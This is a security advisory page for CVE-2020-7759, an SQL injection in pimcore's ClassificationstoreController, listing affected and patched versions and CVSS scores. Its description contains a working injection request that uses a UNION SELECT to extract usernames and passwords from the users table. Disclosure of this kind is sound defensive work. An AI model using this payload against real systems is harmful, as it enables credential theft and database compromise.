Skip to content

SQL Injection in pimcore

High severity GitHub Reviewed Published May 6, 2021 to the GitHub Advisory Database • Updated Feb 1, 2023

Package

composer pimcore/pimcore (Composer)

Affected versions

>= 6.7.2, < 6.8.3

Patched versions

6.8.3

Description

"The package pimcore/pimcore from 6.7.2 and before 6.8.3 are vulnerable to SQL Injection in data classification functionality in ClassificationstoreController. This can be exploited by sending a specifically-crafted input in the relationIds parameter as demonstrated by the following request: http://vulnerable.pimcore.example/admin/classificationstore/relations?relationIds=[{"keyId"%3a"''","groupId"%3a"'asd'))+or+1%3d1+union+(select+1,2,3,4,5,6,name,8,password,'',11,12,'',14+from+users)+--+"}]"

References

Published by the National Vulnerability Database Oct 30, 2020
Reviewed Apr 20, 2021
Published to the GitHub Advisory Database May 6, 2021
Last updated Feb 1, 2023

Severity

High
7.2
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Weaknesses

CVE ID

CVE-2020-7759

GHSA ID

GHSA-8jmh-c6vr-pmvm

Source code

No known source code
Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.